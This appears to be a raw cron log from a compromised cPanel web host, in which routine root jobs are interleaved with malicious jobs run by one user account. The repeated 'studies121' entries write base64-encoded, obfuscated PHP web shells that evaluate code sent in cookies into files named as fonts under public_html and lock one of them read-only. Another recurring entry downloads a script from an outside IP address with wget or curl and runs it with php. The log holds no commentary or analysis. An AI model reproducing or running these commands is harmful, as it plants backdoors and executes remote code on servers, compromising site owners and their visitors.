Aug 30 17:32:01 ip-184-168-122-23 CROND[17212]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:32:01 ip-184-168-122-23 CROND[17209]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:32:01 ip-184-168-122-23 CROND[17211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:32:01 ip-184-168-122-23 CROND[17210]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:33:01 ip-184-168-122-23 CROND[17293]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:33:01 ip-184-168-122-23 CROND[17295]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:33:01 ip-184-168-122-23 CROND[17296]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:33:01 ip-184-168-122-23 CROND[17297]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:34:01 ip-184-168-122-23 CROND[17469]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:34:01 ip-184-168-122-23 CROND[17471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:34:01 ip-184-168-122-23 CROND[17472]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:34:01 ip-184-168-122-23 CROND[17474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:34:01 ip-184-168-122-23 CROND[17473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17564]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17563]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:35:01 ip-184-168-122-23 CROND[17566]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17567]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17569]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:35:01 ip-184-168-122-23 CROND[17571]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 17:36:01 ip-184-168-122-23 CROND[17684]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:36:01 ip-184-168-122-23 CROND[17687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:36:01 ip-184-168-122-23 CROND[17688]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:36:01 ip-184-168-122-23 CROND[17689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:36:01 ip-184-168-122-23 CROND[17686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:37:01 ip-184-168-122-23 CROND[17777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:37:01 ip-184-168-122-23 CROND[17778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:37:01 ip-184-168-122-23 CROND[17779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:37:01 ip-184-168-122-23 CROND[17780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:38:01 ip-184-168-122-23 CROND[17888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:38:01 ip-184-168-122-23 CROND[17889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:38:01 ip-184-168-122-23 CROND[17890]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:38:01 ip-184-168-122-23 CROND[17887]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:38:01 ip-184-168-122-23 CROND[17891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:39:01 ip-184-168-122-23 CROND[17982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:39:01 ip-184-168-122-23 CROND[17983]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 30 17:39:01 ip-184-168-122-23 CROND[17985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:39:01 ip-184-168-122-23 CROND[17986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:39:01 ip-184-168-122-23 CROND[17987]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:40:01 ip-184-168-122-23 CROND[18089]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 17:40:01 ip-184-168-122-23 CROND[18091]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 17:40:01 ip-184-168-122-23 CROND[18095]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:40:01 ip-184-168-122-23 CROND[18097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:40:01 ip-184-168-122-23 CROND[18098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:40:01 ip-184-168-122-23 CROND[18102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:40:01 ip-184-168-122-23 CROND[18096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:40:01 ip-184-168-122-23 CROND[18103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 17:41:01 ip-184-168-122-23 CROND[18327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:41:01 ip-184-168-122-23 CROND[18329]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:41:01 ip-184-168-122-23 CROND[18331]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:41:01 ip-184-168-122-23 CROND[18330]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:42:01 ip-184-168-122-23 CROND[18434]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:42:01 ip-184-168-122-23 CROND[18436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:42:01 ip-184-168-122-23 CROND[18437]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:42:01 ip-184-168-122-23 CROND[18439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:42:01 ip-184-168-122-23 CROND[18440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:43:01 ip-184-168-122-23 CROND[18536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 17:43:01 ip-184-168-122-23 CROND[18538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 17:43:01 ip-184-168-122-23 CROND[18539]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 17:43:01 ip-184-168-122-23 CROND[18537]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:44:01 ip-184-168-122-23 CROND[18639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 17:44:01 ip-184-168-122-23 CROND[18641]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 17:44:01 ip-184-168-122-23 CROND[18644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
